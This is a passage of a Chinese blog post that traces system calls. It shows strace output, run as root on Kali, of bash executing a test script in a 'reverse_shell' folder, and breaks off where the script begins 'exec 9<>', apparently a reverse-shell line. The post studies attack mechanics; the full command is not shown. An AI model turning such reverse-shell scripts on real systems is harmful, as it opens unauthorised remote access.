    <updated>2017-08-24T11:41:19.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、跟踪系统调用"><a href="#一、跟踪系统调用" class="headerlink" title="一、跟踪系统调用"></a>一、跟踪系统调用</h2><h3 id="1-strace-bash-test-sh"><a href="#1-strace-bash-test-sh" class="headerlink" title="1. strace bash test.sh"></a>1. strace bash test.sh</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br></pre></td><td class="code"><pre><span class="line">root@Kali:~/pirogue/reverse_shell# strace bash test.sh </span><br><span class="line">execve(&quot;/bin/bash&quot;, [&quot;bash&quot;, &quot;test.sh&quot;], [/* 50 vars */]) = 0</span><br><span class="line">brk(NULL)                               = 0x7a2000</span><br><span class="line">access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)</span><br><span class="line">mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcafdb87000</span><br><span class="line">access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/etc/ld.so.cache&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=128554, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 128554, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb67000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/lib/x86_64-linux-gnu/libtinfo.so.5&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\260\315\0\0\0\0\0\0&quot;..., 832) = 832</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=170776, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 2267936, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcafd73d000</span><br><span class="line">mprotect(0x7fcafd762000, 2097152, PROT_NONE) = 0</span><br><span class="line">mmap(0x7fcafd962000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7fcafd962000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/lib/x86_64-linux-gnu/libdl.so.2&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\200\r\0\0\0\0\0\0&quot;..., 832) = 832</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=14640, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 2109680, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcafd539000</span><br><span class="line">mprotect(0x7fcafd53c000, 2093056, PROT_NONE) = 0</span><br><span class="line">mmap(0x7fcafd73b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7fcafd73b000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">read(3, &quot;\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0&gt;\0\1\0\0\0\320\3\2\0\0\0\0\0&quot;..., 832) = 832</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0755, st_size=1689360, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 3795360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcafd19a000</span><br><span class="line">mprotect(0x7fcafd32f000, 2097152, PROT_NONE) = 0</span><br><span class="line">mmap(0x7fcafd52f000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x195000) = 0x7fcafd52f000</span><br><span class="line">mmap(0x7fcafd535000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcafd535000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcafdb65000</span><br><span class="line">arch_prctl(ARCH_SET_FS, 0x7fcafdb65b40) = 0</span><br><span class="line">mprotect(0x7fcafd52f000, 16384, PROT_READ) = 0</span><br><span class="line">mprotect(0x7fcafd73b000, 4096, PROT_READ) = 0</span><br><span class="line">mprotect(0x7fcafd962000, 16384, PROT_READ) = 0</span><br><span class="line">mprotect(0x700000, 12288, PROT_READ)    = 0</span><br><span class="line">mprotect(0x7fcafdb8a000, 4096, PROT_READ) = 0</span><br><span class="line">munmap(0x7fcafdb67000, 128554)          = 0</span><br><span class="line">open(&quot;/dev/tty&quot;, O_RDWR|O_NONBLOCK)     = 3</span><br><span class="line">close(3)                                = 0</span><br><span class="line">brk(NULL)                               = 0x7a2000</span><br><span class="line">brk(0x7a3000)                           = 0x7a3000</span><br><span class="line">open(&quot;/usr/lib/locale/locale-archive&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">brk(0x7a4000)                           = 0x7a4000</span><br><span class="line">open(&quot;/usr/share/locale/locale.alias&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=2995, ...&#125;) = 0</span><br><span class="line">brk(0x7a6000)                           = 0x7a6000</span><br><span class="line">read(3, &quot;# Locale name alias data base.\n#&quot;..., 4096) = 2995</span><br><span class="line">brk(0x7a7000)                           = 0x7a7000</span><br><span class="line">brk(0x7a8000)                           = 0x7a8000</span><br><span class="line">read(3, &quot;&quot;, 4096)                       = 0</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_IDENTIFICATION&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_IDENTIFICATION&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=368, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 368, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb86000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache&quot;, O_RDONLY) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=26258, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 26258, PROT_READ, MAP_SHARED, 3, 0) = 0x7fcafdb7f000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_MEASUREMENT&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_MEASUREMENT&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=23, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 23, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb7e000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_TELEPHONE&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_TELEPHONE&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=59, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 59, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb7d000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_ADDRESS&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_ADDRESS&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=167, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 167, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb7c000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_NAME&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_NAME&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=77, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 77, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb7b000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_PAPER&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_PAPER&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=34, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 34, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb7a000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_MESSAGES&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_MESSAGES&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_MESSAGES/SYS_LC_MESSAGES&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=57, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 57, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb79000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_MONETARY&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_MONETARY&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=286, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 286, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb78000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">brk(0x7a9000)                           = 0x7a9000</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_COLLATE&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_COLLATE&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=1244054, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 1244054, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafda35000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_TIME&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_TIME&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=2454, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 2454, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb77000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">brk(0x7aa000)                           = 0x7aa000</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_NUMERIC&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_NUMERIC&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=54, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 54, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafdb76000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.UTF-8/LC_CTYPE&quot;, O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)</span><br><span class="line">open(&quot;/usr/lib/locale/en_US.utf8/LC_CTYPE&quot;, O_RDONLY|O_CLOEXEC) = 3</span><br><span class="line">fstat(3, &#123;st_mode=S_IFREG|0644, st_size=328180, ...&#125;) = 0</span><br><span class="line">mmap(NULL, 328180, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcafd9e4000</span><br><span class="line">close(3)                                = 0</span><br><span class="line">brk(0x7ab000)                           = 0x7ab000</span><br><span class="line">getuid()                                = 0</span><br><span class="line">getgid()                                = 0</span><br><span class="line">geteuid()                               = 0</span><br><span class="line">getegid()                               = 0</span><br><span class="line">rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0</span><br><span class="line">ioctl(-1, TIOCGPGRP, 0x7ffeed7229ac)    = -1 EBADF (Bad file descriptor)</span><br><span class="line">sysinfo(&#123;uptime=195741, loads=[21312, 14080, 6432], totalram=4148080640, freeram=202342400, sharedram=510382080, bufferram=24547328, totalswap=2145382400, freeswap=1889628160, procs=584, totalhigh=0, freehigh=0, mem_unit=1&#125;) = 0</span><br><span class="line">brk(0x7ac000)                           = 0x7ac000</span><br><span class="line">rt_sigaction(SIGCHLD, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=0&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGCHLD, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGINT, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=0&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGINT, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGQUIT, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=0&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGQUIT, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGTSTP, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=0&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGTSTP, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGTTIN, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=0&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGTTIN, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGTTOU, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=0&#125;, 8) = 0</span><br><span class="line">rt_sigaction(SIGTTOU, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0</span><br><span class="line">rt_sigaction(SIGQUIT, &#123;sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">uname(&#123;sysname=&quot;Linux&quot;, nodename=&quot;Kali&quot;, ...&#125;) = 0</span><br><span class="line">brk(0x7b0000)                           = 0x7b0000</span><br><span class="line">brk(0x7b2000)                           = 0x7b2000</span><br><span class="line">brk(0x7b4000)                           = 0x7b4000</span><br><span class="line">brk(0x7b5000)                           = 0x7b5000</span><br><span class="line">brk(0x7b6000)                           = 0x7b6000</span><br><span class="line">brk(0x7b7000)                           = 0x7b7000</span><br><span class="line">brk(0x7b8000)                           = 0x7b8000</span><br><span class="line">stat(&quot;/root/pirogue/reverse_shell&quot;, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">stat(&quot;.&quot;, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">stat(&quot;/root&quot;, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">stat(&quot;/root/pirogue&quot;, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">stat(&quot;/root/pirogue/reverse_shell&quot;, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">stat(&quot;/root/pirogue&quot;, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">getpid()                                = 4833</span><br><span class="line">brk(0x7b9000)                           = 0x7b9000</span><br><span class="line">getppid()                               = 4831</span><br><span class="line">stat(&quot;.&quot;, &#123;st_mode=S_IFDIR|0755, st_size=4096, ...&#125;) = 0</span><br><span class="line">stat(&quot;/usr/local/sbin/bash&quot;, 0x7ffeed722620) = -1 ENOENT (No such file or directory)</span><br><span class="line">stat(&quot;/usr/local/bin/bash&quot;, 0x7ffeed722620) = -1 ENOENT (No such file or directory)</span><br><span class="line">stat(&quot;/usr/sbin/bash&quot;, 0x7ffeed722620)  = -1 ENOENT (No such file or directory)</span><br><span class="line">stat(&quot;/usr/bin/bash&quot;, 0x7ffeed722620)   = -1 ENOENT (No such file or directory)</span><br><span class="line">stat(&quot;/sbin/bash&quot;, 0x7ffeed722620)      = -1 ENOENT (No such file or directory)</span><br><span class="line">stat(&quot;/bin/bash&quot;, &#123;st_mode=S_IFREG|0755, st_size=1099016, ...&#125;) = 0</span><br><span class="line">stat(&quot;/bin/bash&quot;, &#123;st_mode=S_IFREG|0755, st_size=1099016, ...&#125;) = 0</span><br><span class="line">geteuid()                               = 0</span><br><span class="line">getegid()                               = 0</span><br><span class="line">getuid()                                = 0</span><br><span class="line">getgid()                                = 0</span><br><span class="line">access(&quot;/bin/bash&quot;, X_OK)               = 0</span><br><span class="line">stat(&quot;/bin/bash&quot;, &#123;st_mode=S_IFREG|0755, st_size=1099016, ...&#125;) = 0</span><br><span class="line">geteuid()                               = 0</span><br><span class="line">getegid()                               = 0</span><br><span class="line">getuid()                                = 0</span><br><span class="line">getgid()                                = 0</span><br><span class="line">access(&quot;/bin/bash&quot;, R_OK)               = 0</span><br><span class="line">stat(&quot;/bin/bash&quot;, &#123;st_mode=S_IFREG|0755, st_size=1099016, ...&#125;) = 0</span><br><span class="line">stat(&quot;/bin/bash&quot;, &#123;st_mode=S_IFREG|0755, st_size=1099016, ...&#125;) = 0</span><br><span class="line">geteuid()                               = 0</span><br><span class="line">getegid()                               = 0</span><br><span class="line">getuid()                                = 0</span><br><span class="line">getgid()                                = 0</span><br><span class="line">access(&quot;/bin/bash&quot;, X_OK)               = 0</span><br><span class="line">stat(&quot;/bin/bash&quot;, &#123;st_mode=S_IFREG|0755, st_size=1099016, ...&#125;) = 0</span><br><span class="line">geteuid()                               = 0</span><br><span class="line">getegid()                               = 0</span><br><span class="line">getuid()                                = 0</span><br><span class="line">getgid()                                = 0</span><br><span class="line">access(&quot;/bin/bash&quot;, R_OK)               = 0</span><br><span class="line">getpid()                                = 4833</span><br><span class="line">brk(0x7ba000)                           = 0x7ba000</span><br><span class="line">brk(0x7bb000)                           = 0x7bb000</span><br><span class="line">getpgrp()                               = 4831</span><br><span class="line">ioctl(2, TIOCGPGRP, [4831])             = 0</span><br><span class="line">rt_sigaction(SIGCHLD, &#123;sa_handler=0x44cf90, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fcafd1cd030&#125;, &#123;sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7fcafd1cd030&#125;, 8) = 0</span><br><span class="line">getrlimit(RLIMIT_NPROC, &#123;rlim_cur=15710, rlim_max=15710&#125;) = 0</span><br><span class="line">brk(0x7bc000)                           = 0x7bc000</span><br><span class="line">brk(0x7bd000)                           = 0x7bd000</span><br><span class="line">rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0</span><br><span class="line">brk(0x7be000)                           = 0x7be000</span><br><span class="line">open(&quot;test.sh&quot;, O_RDONLY)               = 3</span><br><span class="line">stat(&quot;test.sh&quot;, &#123;st_mode=S_IFREG|0644, st_size=73, ...&#125;) = 0</span><br><span class="line">ioctl(3, TCGETS, 0x7ffeed722940)        = -1 ENOTTY (Inappropriate ioctl for device)</span><br><span class="line">lseek(3, 0, SEEK_CUR)                   = 0</span><br><span class="line">read(3, &quot;exec 9&lt;&gt; 